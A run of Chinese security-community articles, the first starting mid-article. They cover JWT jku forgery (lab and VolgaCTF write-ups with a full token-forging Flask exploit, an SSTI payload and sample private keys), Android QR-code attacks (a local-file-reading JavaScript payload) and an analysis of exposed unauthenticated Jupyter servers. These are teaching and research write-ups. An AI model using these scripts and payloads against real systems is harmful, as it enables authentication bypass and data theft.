"loggedInAs"： "admin"，
"iat"： 1422779638
}
### Signature
签名部分用于安全地验证该token。 **拥有该部分的JWT被称为JWS，也就是签了名的JWS；没有该部分的JWT被称为nonsecure JWT
也就是不安全的JWT，此时header中声明的签名算法为none。**
签名部分使用多种算法，HMAC-SHA256是其中的一种：
HMAC-SHA256(
secret,
base64urlEncoding(header) + '.' +
base64urlEncoding(payload)
)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsb2dnZWRJbkFzIjoiYWRtaW4iLCJpYXQiOjE0MjI3Nzk2Mzh9.gzSraSYS8EXBxLN_oWnFSRgCzcmJmMjLiuyu5CSpyHI
eyJ —— Base64(‘{“‘)
## 0x02 jwt 相关概念
> * JWS：Signed JWT，签名过的jwt
> * JWK：JWT的密钥，也就是我们常说的scret；
> * JWE：Encrypted JWT部分payload经过加密的jwt；
> * jku：”jku” (JSON Web Key Set URL) 是jwt
> header中的一个字段，字段内容是一个URI，该URI用于指定用于验证令牌秘钥的服务器，该服务器用于回复jwk。
> * x5u：”x5u” 也是jwt header中的一个字段，指向一组X509公共证书的URL，与jku功能类似
> * X.509 标准
> * X.509 标准是密码学里公钥证书的格式标准,包括TLS/SSL(WWW万维网安全浏览的基石)在内的众多
> Internet协议都应用了X.509 证书）
>
更详细的概念请参考：[深入了解Json Web
Token之概念篇](https://www.freebuf.com/articles/web/180874.html)
## 0x02 jku 工作原理
内容参考：
* ppt：<https://www.slideshare.net/snyff/jwt-jku-x5u?from_action=save>
* 视频：[https://www.youtube.com/watch?v=VA1g7YV8HkI&list=PLKAaMVNxvLmAD0ZVUJ2IGFFC0APFZ5gzy&index=11](https://www.youtube.com/watch?v=VA1g7YV8HkI&list=PLKAaMVNxvLmAD0ZVUJ2IGFFC0APFZ5gzy&index=11)
### 正常工作场景
jku使用的场景如下：
#### Step1 用户携带JWS（带有签名的JWT）访问应用
#### Step2 应用程序解码JWS得到jku字段
#### Step3 应用根据jku访问返回JWK的服务器
#### Step4 应用程序得到JWK
#### Step5 使用JWK验证用户JWS
#### step6 验证通过则正常响应
### 攻击场景
攻击场景如下：
1. 攻击者使用伪造的JWS访问应用，jku字段指向自己控制的服务器。
2. 应用程序得到jku后对恶意服务器进行访问，得到伪造的JWK。
3. 攻击者的JWS成功得到验证，进而可以越权访问应用。
为了保证JWK服务器的可信，应用程序会对jku的指向增加各种防护措施，比如对URL进行白名单过滤，想要攻击成功也并非容易的事。
## 0x03 攻击方式
### 方式一：绕过对jku地址的过滤
如果过滤方式比较简单只按照规定长度检查域名的话，很容易绕过。
https://trusted => http://[email protected]
绕过方式由具体场景而定。
### 方式二：可信服务器本身的漏洞
* 1.文件上传漏洞
* 2.开放重定向漏洞
* 3.CRLF注入漏洞
#### 利用文件上传漏洞
文件上传漏洞很好理解，如果对jku做了域名限制，利用文件上传就不会有影响了，攻击者可以上传自己生成的JWK文件，然后修改jku指向此文件即可。
#### 利用重定向漏洞
重定向漏洞的利用方式可以参考下图：
1. 攻击者使用恶意JWS访问应用程序，应用程序向得到jku，并访问jku指向的链接
2. 此时可信服务器返回一个重定向，使得应用程序从恶意服务器中获取JWK
#### 利用CRLF注入
CRLF注入的利用场景如下：
攻击者在jku中嵌入CRLF，构造HTTP报文，使得应用程序得到的返回内容被攻击者控制，攻击者将返回内容控制为自己生成的JWK，即可绕过验证
## 0x04 jku利用实例
### AttackDefense实验室：jku Claim Misuse
#### 场景描述
* 1.攻击者IP地址为：192.170.138.2
* 2.局域网内192.170.138.3的8080端口包含了一个基于CLI的JWT API，该API提供如下三个功能
* /issue ：访问后生成一个JWT
* /goldenticket：得到goldenticket，但是需要身份为admin才能获取
* /help：查看一些帮助
* 3.实验的目标是获取goldenticket
#### 实验过程
curl http://192.170.138.3:8080/issue
响应得到JWS
使用得到的JWS到[https://jwt.io](https://jwt.io/)网站上解码
该JWT使用RSASHA256进行加密，并且jku指向了如下地址：
http://witrap.com:8000/jwks.json
直接请求该jwk
curl http://witrap.com:8000/jwks.json
得到可以看到RSA加密的n和e都在里面。
我们的目标是以admin角色访问到/goldenticket，所以这里可以利用上面的攻击方式。
具体流程如下：
1. 1.本地生成自己的公私钥对
2. 2.搭建本地恶意服务器
3. 3.使用自己的n和e伪造一个JWK并放在恶意服务器上
4. 4.利用公私钥伪造JWS，将role字段改成admin，jku指向该恶意服务器上的JWK文件
5. 5.带上JWS访问/goldenticket
##### 生成RSA公私钥对
openssl genrsa -out keypair.pem 2048
产生一个2048位的密钥
openssl rsa -in keypair.pem -pubout -out public.crt
根据密钥产生公钥
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkc8.key
* * *
openssl pkcs8命令：
openssl pkcs8 [-topk8] [-inform PEM|DER] [-outform PEM|DER] [-in filename] [-passin arg] [-out filename] [-passout arg] [-noiter] [-nocrypt] [-nooct] [-embed] [-nsdb] [-v2 alg] [-v2prf alg] [-v1 alg] [-engine id]
具体可参考：<https://www.openssl.org/docs/man1.0.2/man1/openssl-pkcs8.html>
##### 伪造JWS
-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyBoYKQHzkKJQQQGdHubO
Cy6VwQdrr2Pn269ovuZ9Y6155pJCskXApCHG2qV7yIXpHz1XrDkFe8ZmTiPzPtQC
u220HFrH3KRkTfECzGkT4LJB8jYySL18Ih7zf6A+wpCVCDYEZWXlyuwkqdqRzBRz
F8kxZgFzVwRfeECF8RnO1vPVMZ9qNX7i1+u6bA83LNjYQCSNZHo+Y4K3deb+MK7l
zcSnKsw2EQvuaUJKEExFoFeruXoaAsouwUMRERr/pQPxvk+6voWyTfPJiNKxI0JD
oNdsYNj0JPWqAnOcsF+G2UGDmBJ7UhBxKutBt7OKAUWbOpZYd9YkmT5rL3hAeCia
YwIDAQAB
-----END PUBLIC KEY-----
将产生的public key完整得粘贴到公钥处
私钥也是一样
然后修改上面jku的地址：
http://192.170.138.2:8080/issue
在右方就可以得到伪造好的JWS
##### 搭建恶意服务器
根据jwks.json文件的格式：
我们需要修改n和e
利用如下脚本：
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print "n:", hex(key.n)
print "e:", hex(key.e)
替换n和e得到伪造的JWK
下一步我们可以使用python的SimpleHTTPServer快速搭建服务器
python -m SimpleHTTPServer 8080
SimpleHTTPServer可以快速构建一个web服务，并且将当前目录作为web服务根目录，当前目录存放着伪造的jwks.json
携带伪造的JWS进行访问/goldenticket，这时成功通过验证
### Volgactf 2021 JWS：开放重定向利用
当时没做出来，参考：[JWS writeup](https://telegra.ph/JWS-writeups-03-28)
#### 场景描述
* 1.5000端口存在返回JWS的API
* jws中存在jku
* jku存在白名单过滤机制，限制在localhost域
* 2.5000/check_jws?payload= 可以进行JWS的检查并且展示Payload部分内容
* 存在SSTI漏洞
* 3.5001/vuln/JWK可以得到JWK
需要利用重定向通过验证，然后利用SSTI拿到flag
#### 实践过程
访问5000端口：
返回JWS，可以看到里面的jku，指向`http://localhost:5001/vuln/JWK`
访问`http://localhost:5001/vuln/JWK`得到JWK
但是这里的jku被白名单限定在了localhost域，无法直接修改jku指向我们自己的服务器
再次回顾一下jku的利用手段
* 1.存在文件上传
* 2.存在重定向
* 3.存在CRLF注入
##### 重定向利用
通过扫描目录可以发现/vul/redirect API
直接访问会回显 bad params
参数名我们是不知道的，所以需要fuzz API的参数，可以使用该字典：[2020-11-30-open-redirect-params.txt](https://github.com/ptswarm/ptswarm-twitter/blob/main/2020-11-30-open-redirect-params.txt)
得到参数endpoint=
重定向链接：
/vuln/redirect?endpoint=
##### 编写脚本
##### 生成JWK
使用python jscrypto库生成jwk
def generate_key():
key = jwk.JWK.generate(kty='RSA', size=2048)
print(key.export_public())
print(key.export())
{"e":"AQAB","kty":"RSA","n":"1cOFAHlq4MjGXJztC1-H8RI0D0TgYw6UyZgXAv-Gg5t7DuPa9ssqw8h_z04wusMJ9GwN71DqPtijyjpblaKcKSmJN61PCPVjthkF88BfvZ7SFQjA-XVuEsFwOGOfvtmWQhRJmNAvZt_y9UfOe35EleeAOWtNkYQKa-NALu0-D_mLSuxNExbxCymqwkuZVTSrHdUyul-ohReTdjx8hJAVOsV4yRq7VIrblftLMTSlD3nUrPrsZNZf77ysAdD4gEffjCL7Osp0cjufJJlTndBhh-7I5l2rgcNQpsxSwYE_jegAQUIjRveVdq6CzXj104uYGPg3qda1xIi3VyOsb4wfxQ"}
{"d":"VtSV6Qxo8qf7k1EXJMCIWs83IGCs-O_KVl0WM9yRylHU2caKgici1uZRrGapeqORHpzpyCVJEYA0gAfWfeDQqBO8LkaSzSPIfgaKGWoyObcSxQKKSIp_zNSQfgdRs1d1JqBRCOa_6nzblvC1Ggq_V1jzB9_jYVGOXiawQp-RzzCjRt6_BSr7Hg2xC0v_chwUt_yBhvDGz5x0rbspYcBL0OzI1hhZ1Tujk3MRrMfbIvBeoyRb_582UYQBc886SmAF6ue3eBc0v15mAX7qptCb7RLOVBYJwA-eYGktll9Orx-IIvy1GJpZdCV7FBGh-1AlCgM2O0KyBAwT3kRA1PYUgQ","dp":"gu2vc9u13DNV1PUF0Zk5lliLQjzhsRqOwl9drbdUQ7JgkyVzfccZ8QhfrHVjgAFzD54I1zoNewXi-4jHts4O3ud1QOvt0tOJM-2OokFg29i0GoSXVT05IHb6VAmjAcfiC65SoS7sTm-V0oPp0DLswstGbk5zsAn2JL2RjBNYsz0","dq":"MsgjIE3OYNQ6HtjjeBIJrG7eAAProYzqIvhNhBK4vfoEiA4V-1GPw2Gxn9xkvzdXFWRM0eih8Pu07-CgiqYGfkUSgkvmKynvr_oH8stZ-wKZMs9jsDsBuV0y6CQUKiFRTgWkNw3o6408XUwF5K46oAjtp0GUG-CNNNoIc45jN0E","e":"AQAB","kty":"RSA","n":"1cOFAHlq4MjGXJztC1-H8RI0D0TgYw6UyZgXAv-Gg5t7DuPa9ssqw8h_z04wusMJ9GwN71DqPtijyjpblaKcKSmJN61PCPVjthkF88BfvZ7SFQjA-XVuEsFwOGOfvtmWQhRJmNAvZt_y9UfOe35EleeAOWtNkYQKa-NALu0-D_mLSuxNExbxCymqwkuZVTSrHdUyul-ohReTdjx8hJAVOsV4yRq7VIrblftLMTSlD3nUrPrsZNZf77ysAdD4gEffjCL7Osp0cjufJJlTndBhh-7I5l2rgcNQpsxSwYE_jegAQUIjRveVdq6CzXj104uYGPg3qda1xIi3VyOsb4wfxQ","p":"82Nu0AhRyqM1AMEOhR-Ld1s1FEDFYPaJlLTsyXeSsdJFERnKMAQ9FW49exwjNprvw5fgB7BkL5JtAO9b1OjIcz2SBZmP1OgED_69l-LrQ1xT_nczpiMeYvkv9Etdv1njK01jBRZEVudG4Qr1tiDI654Yr4dNIG8db3tdnk_WVqU","q":"4Ncc9ZrEYMIrbc5MvK3ywpy8AvBTHET3hgJKlRYvrU8DHUYUbq4KZK6O4h1Xv3TrSxWEwn1Z7VmWJcybS9S2khmt32OF81eG9-aty0XZtxgulRe8wCi2KCzDmDZzJ0kCcchZUr3Chj8FeXOwdJH1G9ZQUiwgMZ0Fu0qQVi2ReqE","qi":"RbZJiXGM4NBvyoBbEt0Eg1Sw22bEmQqpzYt16AcLjrpl_MTDGntuaOMhN7a3I4n3BoeaPytEy-I41UVLu0wyGYz91RtZWrFNvwd1R2TNvm5MfP5Xsr6hKSaDvAkvOZbg83VDXO2HeJ9ot6WwRZTKlivhLhJV-KxRX1hCbsv_VoU"}
##### 生成JWS
我们需要伪造jku，并且在JWS解密后的内容中附加上SSTI payload，比如`{{ config }}`
jku = 'http://localhost:5001/vuln/redirect?endpoint=http://localhost:5002/hack' #localhost:5002 its own server, 5001 server with vuln open redirect
payload = '{{config}}'
key = jws.JWK(**json.loads(app.config['all_key']))
jwstoken = jws.JWS(payload.encode('utf-8'))
jwstoken.add_signature(key=key,alg='RS256',protected=None,header=json_encode({"kid": key.thumbprint(), 'jku':jku, "alg":"RS256"}))
sig = jwstoken.serialize()
jwk文档：[JSON Web Key
(JWK)](https://jwcrypto.readthedocs.io/en/latest/jwk.html#json-web-key-jwk)
>>> ka
<jwcrypto.jwk.JWK object at 0x7f7cd6062400>
>>> jwstoken
<jwcrypto.jws.JWS object at 0x7f7cd64ebdf0>
>>> jwstoken.add_signature(key=key,alg='RS256',protected=None,header=json_encode({"kid": ka.thumbprint(), 'jku':jku, "alg":"RS256"}))
>>> jwstoken.serialize()
'{"header":{"alg":"RS256","jku":"http://localhost:5001/vuln/redirect?endpoint=http://localhost:5002/hack","kid":"BYa3XpycMhDud1d-fYTijehS75jH90eTPxVYdUx8DqA"},"payload":"e3tjb25maWd9fQ","signature":"kwNzA48stR8tqbceOxHvHUyNCB9dzx02mPLRLpd9cjD5vzFio5rBMEIraLEp8WwLaH1T_Nofz7e2ToPCdWFS5nGv6jcGCJ9DrFMwL9vq4M6pfTLE7hKlGDtE7iFAIvZqL4MEAx7IdSC07zd4yTRNBy48q64yXEMqA8HigvETS14_DYfiDDkSkHNSxLTuItI8qOxhfLIj1UVTZMci1mi5PQ00R66q5RPFsy-6v6ZIrRjPkeODc4DIlzpv525NkREMcCrAgpb7XvrV1eVWJMWDwkZQoXf6XgJapvhRveegk9GYkLETbz3Lqwh13KNNZw9doVSqL1oyRhjxgDHyT1cQlg"}'
##### 完整脚本：
使用flask构建web服务，访问/hack即返回伪造的JWK。
from flask import Flask, request, redirect, jsonify, send_from_directory
from jwcrypto import jwk, jws
from jwcrypto.common import json_encode
import os
import json
import requests, re
app = Flask(__name__)
app.config['pub_key'] = '{"e":"AQAB","kty":"RSA","n":"oBbyWuGxj4wqlVjqcpNh3ZKYTjVXWINNdn8zaJgJdPa0Wt286cE4wExWAV03Kuma7bh8yK5SgY2bte8mdjpcte5T1iOtqWTXDP5XbXQvzLPas1VVvzcMwdsMs4-mkuV6HCYaj7Sbent7Bvx_4aY8qxrIBSuqf4NBP38iE_Bkuzo_OeGtsz0f5KECUPDV-Tum1KDuiwCDt6Jmef_xAWUmAqJv9nK0GLnNceIDXmw775Gi26KxDl7g2ak22pNCEFBKbZqQak4cTeZJfNR-oUZqPXFGO9i2yZJ_G7iN-1JxSPTyqyKnG5Z16d7l1Q_TFP1btPMFu9qS_bdbnkcMxURoBQ"'
app.config['all_key'] = '{"d":"AaOagaGz7rNRsEvDwr6NjvY0RwC2zzow7dipjxWXazIncJK6n24SBa4CZ2sr6G2R34M3C9r1D0yC3p7_NtCsKFSzWQrueUCGDyT_gihhYOgqghGKmjWXFNkITUJYQ0LEOEuPlA8WVG-1N8IYERhhoKLaj2r-COYwIdVMZQXeEiinXLfCVJCEtMMVNBMRfyUoY4_siQ6vMQGxJsHn8XOE2zsMnkreG7kPE-c0UrmsdnhmmyNFtegbS8dej4eH0Xy1txg81wTQSyGUru10QaFYVVAOhRFmdVNvSNWW3uL1guAOgLg8Y17FPnz1FiUGhflTeEsWwcKlVWl7QF0Bel-e1Q","dp":"nAk_O5Qi5HQRhgcsNZsGgFeEeErPn5CoXFx1DhANVbQwuNU-19P29wR4gSaDfexoLLaDXrw50g-ufmCLbz9r461LcPdmD6g9okstgPF38heLhjyTuA84xDu16sCX0ltpxWOWzhRkBeI0uhE1mjXtD7Uk9KUX5Y5SQK6MPZmVsoM","dq":"MznXQhv8h65iqwxzfPj3QwK6s9JvIR4IHnur2t3GYaCd-RG5fGSigkClUeG8TUlxViOr5ElbGsATWOzqAlr_CwTPCwEg9lcL5AKEHOy94k5CfAWMr1csa6Pp6bQJkveDf_c87s2Z1zYn6cJmJZiEJADocRyyUJ_mnh6wpvS7tgs","e":"AQAB","kty":"RSA","n":"oBbyWuGxj4wqlVjqcpNh3ZKYTjVXWINNdn8zaJgJdPa0Wt286cE4wExWAV03Kuma7bh8yK5SgY2bte8mdjpcte5T1iOtqWTXDP5XbXQvzLPas1VVvzcMwdsMs4-mkuV6HCYaj7Sbent7Bvx_4aY8qxrIBSuqf4NBP38iE_Bkuzo_OeGtsz0f5KECUPDV-Tum1KDuiwCDt6Jmef_xAWUmAqJv9nK0GLnNceIDXmw775Gi26KxDl7g2ak22pNCEFBKbZqQak4cTeZJfNR-oUZqPXFGO9i2yZJ_G7iN-1JxSPTyqyKnG5Z16d7l1Q_TFP1btPMFu9qS_bdbnkcMxURoBQ","p":"0-jzleXm-XbQe_gjrKqFsQUypSjtVX2NJ1ckF5op0qE1XiLETHg0C-woMuEymyW-vqRAbgA5yx4pVhlmJTPkv8TVsc9OYsz1H1cswiI-I73uLJ1wgUk_4mapa7K10Mrsw2X9AZpmiP7ntc4OwVdJ7BjUoY587IbZrV0yVCKgeYM","q":"wWXeDP796mxedqUActwBTCQCR3uNjbmOINMZY2CR0DuxCa9AX8V3VZEQVUj1Q6R8o4ixrQywQy1R902Kc9dCQqBkwF4WfybzhkfwiVcf8Yy3bqZzEoGCEbs2KVnYX7J3EBIfgEQVXb_G5ZeOvWzgSTi11e1_kdcUXdANiGtISdc","qi":"MNo8DyDds5N6gw6gmA17Iu0scH5i2n30oS0nDxFp0tKqfd5WAjF7J3P_uESwzW8AvncAm7HtDBd-KEHipcOcm7rPEdfBKKhyo3Q25chBCvRPvVcslmML30p3p0_F26yd5ThHWoo3UmHNoPLiMNZN3oRsCe1w2jity3YVvZDhu48"}'
def generate_key():
key = jwk.JWK.generate(kty='RSA', size=2048)
print(key.export_public())
print(key.export())
@app.route('/') #to get evil jws token
def index():
jku = 'http://localhost:5001/vuln/redirect?endpoint=http://localhost:5002/hack' #localhost:5002 its own server, 5001 server with vuln open redirect
payload = '{{config}}'
key = jws.JWK(**json.loads(app.config['all_key']))
jwstoken = jws.JWS(payload.encode('utf-8'))
jwstoken.add_signature(key=key,alg='RS256',protected=None,header=json_encode({"kid": key.thumbprint(), 'jku':jku, "alg":"RS256"}))
sig = jwstoken.serialize()
return sig
@app.route('/hack') #to redirect, return evil JWK
def hack(): #need send as file
with open('tmp.file', 'w') as file_write:
file_write.write(jwk.JWK(**json.loads(app.config['all_key'])).export_public())
uploads = os.path.join(os.path.abspath(os.path.dirname(__file__)))
return send_from_directory(directory='.',filename='tmp.file')
@app.route('/get_flag')
def get_flag():
payload = index()
answ = requests.get('http://localhost:5000/jws_check',params={'payloads':payload}).text
flag = answ
flag = re.findall('VolgaCTF{.+?}', answ)[-1]
print(flag)
return flag
if __name__ == '__main__':
app.run(port=5002, host='0.0.0.0')
## 0x05 相关工具
### [jwt_tool](https://github.com/ticarpi/jwt_tool)
**其目前的功能包括：**
> * 检查令牌的有效性
> * 测试已知漏洞：
> * （CVE-2015-2951） ** _alg=none_** 签名绕过漏洞
> * （CVE-2016-10555） ** _RS / HS256_** 公钥不匹配漏洞
> * （CVE-2018-0114） ** _Key injection_** 漏洞
> * （CVE-2019-20933 / CVE-2020-28637） ** _Blank password_** 漏洞
> * （CVE-2020-28042） **_Null signature_** 漏洞
> * 扫描配置错误或已知漏洞
> * Fuzz声明值以引发意外行为
> * 测试secret/key file/public key/ JWKS key的有效性
> * 通过高速 _字典攻击_ 识别 _低强度key_
> * 伪造新的令牌头和有效载荷内容，并使用 **密钥** 或通过其他攻击方法创建新的签名
> * 时间戳篡改
> * RSA和ECDSA密钥生成和重建（来自JWKS文件）
>
jwt_tools非常强大，文档：[Using
jwt_tool](https://github.com/ticarpi/jwt_tool/wiki/Using-jwt_tool)
其中关于jku攻击的部分如下：
> 欺骗远程JWKS：使用首次运行时自动生成的RSA密钥，并通过提供的URL（-ju）提供JWKS-或将该URL添加到您的jwtconf.ini配置文件中-> 并使用私钥对令牌进行签名：
$ python3 jwt_tool.py JWT_HERE -X s -ju http://example.com/my_jwks.json
### [MyJWT](https://github.com/mBouamama/MyJWT)
同样强大的jwt工具，文档：[MyJWT: crack Your jwt](https://myjwt.readthedocs.io/en/latest/)
> **Features**
>
> * copy new jwt to clipboard
> * user Interface (thanks
> [questionary](https://github.com/tmbo/questionary))
> * color output
> * modify jwt (header/Payload)
> * None Vulnerability
> * RSA/HMAC confusion
> * Sign a jwt with key
> * Brute Force to guess key
> * crack jwt with regex to guess key
> * kid injection
> * _Jku Bypass_
> * _X5u Bypass_
>
2020年11月添加了对jku与x5u利用的功能。
--jku TEXT Jku Header to bypass authentication
--x5u TEXT X5u Header to bypass authentication
###
[jwt_attack_with_header_injection.py](https://gist.github.com/imparabl3/efcf4a991244b9f8f99ac39a7c8cfe6f)
用于利用CRLF漏洞的脚本
## 0x06 总结
总结一下jku权限绕过的利用方式：
1.jku可以直接指向为攻击者服务器
* 1.直接在服务器上放置JWK，jku指向攻击者服务器
2.jku有白名单或者别的过滤措施
* 1.配合文件上传漏洞，上传构造好的JWK，jku指向该JWK
* 2.配合开放重定向，直接重定向到攻击者的服务器，服务器上放置构造好的JWK
* 3.配合CRLF漏洞，直接控制JWK内容
## 参考资料
* [JWT: jku x5u](https://www.slideshare.net/snyff/jwt-jku-x5u?from_action=save)
* [JWS writeups](https://telegra.ph/JWS-writeups-03-28)
* [JWT Expert: jku Claim Misuse](https://www.youtube.com/watch?v=ThzZFIhuFMA)
* [Hacking JWT Tokens: jku Claim Misuse](https://blog.pentesteracademy.com/hacking-jwt-tokens-jku-claim-misuse-2e732109ac1c)
* [深入了解Json Web Token之概念篇](https://www.freebuf.com/articles/web/180874.html)
* [攻击JWT的一些方法](https://xz.aliyun.com/t/6776#toc-12)
* [如何使用MyJWT对JSON Web Token（JWT）进行破解和漏洞测试](https://www.freebuf.com/sectool/262183.html)
* [Python 生成 JWT(json web token) 及 解析方式](http://t.zoukankan.com/lowmanisbusy-p-10930856.html)
* [Attacking JSON Web Tokens (JWTs)](https://infosecwriteups.com/attacking-json-web-tokens-jwts-d1d51a1e17cb) | 社区文章 |
# Android平台下二维码漏洞攻击杂谈
|
##### 译文声明
本文是翻译文章，文章来源：wooyun
原文地址：<http://drops.wooyun.org/mobile/10775>
译文仅供参考，具体内容表达以及含义原文为准。
**0x00 前言**
****
现在Android
App几乎都有二维码扫描功能,如果没有考虑到二维码可能存在的安全问题,将会导致扫描二维码就会受到漏洞攻击,严重的可能导致手机被控制,信息泄漏等风险。
**0x01 拒绝服务**
低版本的zxing这个二维码库在处理畸形二维码时存在数组越界,导致拒绝服务。扫描下面的二维码,可能导致主程序崩溃:
通过程序的崩溃日志可以看出是个数组越界:
11-23 10:39:02.535: E/AndroidRuntime(1888): FATAL EXCEPTION: Thread-14396
11-23 10:39:02.535: E/AndroidRuntime(1888): Process: com.xxx, PID: 1888
11-23 10:39:02.535: E/AndroidRuntime(1888): java.lang.ArrayIndexOutOfBoundsException: length=9; index=9
11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.common.BitSource.readBits(Unknown Source)
11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.qrcode.decoder.DecodedBitStreamParser.decodeAlphanumericSegment(Unknown Source)
11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.qrcode.decoder.DecodedBitStreamParser.decode(Unknown Source)
11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.qrcode.decoder.Decoder.decode(Unknown Source)
11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.qrcode.QRCodeReader.decode(Unknown Source)
11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.MultiFormatReader.decodeInternal(Unknown Source)
11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.MultiFormatReader.decodeWithState(Unknown Source)
**0x02 本地文件读取**
之前Wooyun上爆了一个[利用恶意二维码攻击快拍](http://www.wooyun.org/bugs/wooyun-2010-09145)的漏洞,识别出来的二维码默认以html形式展示(Android+Iphone),可以执行html和js。将下面的js在cli.im网站上生成二维码:
<script>
x=new XMLHttpRequest();
if(x.overrideMimeType)
x.overrideMimeType('text/xml');
x.open("GET", "file://///default.prop", false);
x.send(null);
alert(x.responseText);
</script>
用快拍扫描之后,就能读取本地文件内容:
**0x03 UXSS**
去年,Android平台上的Webview
UXSS漏洞被吵的沸沸扬扬,由于低版本的Android系统自带的Webview组件使用Webkit作为内核,导致Webkit的历史漏洞就存在于Webview里面,其中就包括危害比较大的UXSS漏洞。
Webview组件几乎存在于所有Android
App中,用来渲染网页。如果扫描二维码得到的结果是个网址,大部分App会直接用Webview来打开,由于Webview存在UXSS漏洞,很容易导致资金被窃、帐号被盗或者隐私泄露。漏洞介绍可参考TSRC博文:[Android
Webview UXSS 漏洞攻防](http://security.tencent.com/index.php/blog/msg/70)
**0x04 远程命令执行**
大部分Android
App扫描二维码之后,如果识别到的二维码内容是个网址时,会直接调用Webview来进行展示。如果Webview导出了js接口,并且targetSDK是在17以下,就会受到远程命令执行漏洞攻击风险。
苏宁易购Android版扫描二维码会用Webview打开网页,由于苏宁易购导出多个js接口,因此扫描二维码即会受到远程命令执行漏洞攻击(最新版本已修复)。
`com.suning.mobile.ebuy.host.webview.WebViewActivity`导出多个js接口:
this.b(this.a);
this.s = this.findViewById(2131494713);
this.d = this.findViewById(2131494100);
this.d.a(((BaseFragmentActivity)this));
this.l = new SNNativeClientJsApi(this);
this.d.addJavascriptInterface(this.l, "client");
this.d.addJavascriptInterface(this.l, "SNNativeClient");
this.d.addJavascriptInterface(new YifubaoJSBridge(this), "YifubaoJSBridge");
由于targetSDKversion为14,因此所有Android系统版本都受影响:
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="14"
>
</uses-sdk>
苏宁易购Android版首页有个扫描二维码的功能:
扫描二维码时,如果二维码是个网页链接,就会调用上面的Webview组件打开恶意网页:
恶意二维码如下:
**0x05 总结**
二维码可能攻击的点还不止上面列的那些,发散下思维,还有zip目录遍历导致的远程代码执行漏洞,还有sql注入漏洞,说不定还有缓冲区溢出漏洞。思想有多远,攻击面就有多宽!Have
Fun! | 社区文章 |
**作者：知道创宇404实验室
English version: <https://paper.seebug.org/2058/>**
### 一．摘要
在使用Jupyter Notebook和JupyterLab
的过程中，有些用户缺乏安全意识，未启用身份验证功能，导致任何用户都可以直接访问自己的Jupyter服务器，并查看其服务器上的代码和文档。
我们使用ZoomEye
网络空间搜索引擎，通过特定搜索关键词，可以找到互联网上那些未启用身份验证的Jupyter服务器。这些服务器上泄露的代码和文档，若被不法分子利用，可能会造成数据泄露和资产损失。
我们建议全部Jupyter用户，在启动Jupyter服务的时候，遵循官方安全建议，设置成必须通过token或者password登录。
### 二．概述
ZoomEye [1]
是一款网络空间搜索引擎，通过全球部署的探测节点对全球互联网暴露资产不间断的深度探测，构建互联网安全基础态势测绘地图，为安全研究提供全面的资产基础数据。
Jupyter Notebook [2]
是以网页的形式打开，可以在网页页面中直接编写代码和运行代码，代码的运行结果也会直接在代码块下显示的程序。如在编程过程中需要编写说明文档，可在同一个页面中直接编写，便于作及时的说明和解释
[3]。 它是数据科学家们最熟悉且常用的工具之一。
JupyterLab [4] 是一个交互式的开发环境，是Jupyter
Notebook的下一代产品，可以使用它编写Notebook、操作终端、编辑MarkDown文本、打开交互模式、查看csv文件及图片等功能。可以说，JupyterLab是开发者们下一阶段更主流的开发环境
[5]。
本文，我们介绍如何使用ZoomEye找到那些未启用身份验证的Jupyter服务器，并通过Web浏览器访问其中的代码和文档。
### 三．Jupyter产品的安装和启动
#### 3.1 Jupyter Notebook
本章节，我们介绍如何安装、正常启动、未启用身份验证方式启动Jupyter Notebook，以及对应的Web浏览访问的效果。
Jupyter Notebook的安装方式，参考其官方网站 [6]。只需要在命令行下输入一句话命令即可，简单方便。
pip install notebook
正常启动Jupyter
Notebook的方式，也是输入一句话命令，默认在本机localhost的8888端口开启一个Web服务，并且生成一个用户身份验证的token值。
jupyter notebook
启动Jupyter Notebook服务时，生成的token值
此时，在Web浏览器中输入`http://localhost:8888` 访问Jupyter Notebook的时候，页面会提示输入password 或者
token。
① 访问服务时，页面提示输入password或token
我们在页面上输入命令行启动时获取的token值，便可通过身份验证，使用Jupyter Notebook的产品功能。
有些用户需要通过互联网访问自己的Jupyter Notebook服务，并且为了避免输入password 或者
token的麻烦，会通过如下命令，将Jupyter Notebook服务暴露在互联网IP上，并且未启用身份验证。
jupyter notebook --ip="*" --NotebookApp.token="" --NotebookApp.password=""
此时，任何用户在知晓Jupyter Notebook服务所在互联网IP的前提下，在Web浏览器中输入“http:// _._. _._
:8888”访问Jupyter Notebook服务，无需身份验证，便可以直接查看服务器上的代码和文件。注意，这种情况下， **网页标题内容是：“Home
Page - Select or create a notebook”。**
① 网页标题内容是：Home Page - Select or create a notebook
#### 3.2 JupyterLab
本章节，我们介绍如何安装、正常启动、未启用身份验证方式启动JupyterLab，以及对应的Web浏览访问的效果。
JupyterLab的安装方式，参考其官方网站 [7]。只需要在命令行下输入一句话命令即可，简单方便。
pip install jupyterlab
正常启动JupyterLab的方式，也是输入一句话命令，默认在本机localhost的8888端口开启一个Web服务，并且生成一个用户身份验证的token值。
jupyter-lab
① 启动JupyterLab服务时，生成的token值
此时，在Web浏览器中输入`http://localhost:8888`访问Jupyter Lab的时候，页面会提示输入password 或者 token。
① 访问服务时，页面提示输入password或token
我们在页面上输入命令行启动时获取的token值，便可通过身份验证，使用JupyterLab的产品功能。
网页标题内容是：JupyterLab
有些用户需要通过互联网访问自己的JupyterLab服务，并且为了避免输入password 或者
token的麻烦，会通过如下命令，将JupyterLab服务暴露在互联网IP上，并且未启用身份验证。
jupyter-lab --ip="*" --NotebookApp.token="" --NotebookApp.password=""
此时，任何用户在知晓JupyterLab服务所在互联网IP的前提下，在Web浏览器中输入`“http://*.*.*.*:8888”`访问JupyterLab服务，无需身份验证，便可以直接查看服务器上的代码和文件。
**注意，这种情况的网页标题内容是：“JupyterLab”。**
① 网页标题内容是：JupyterLab
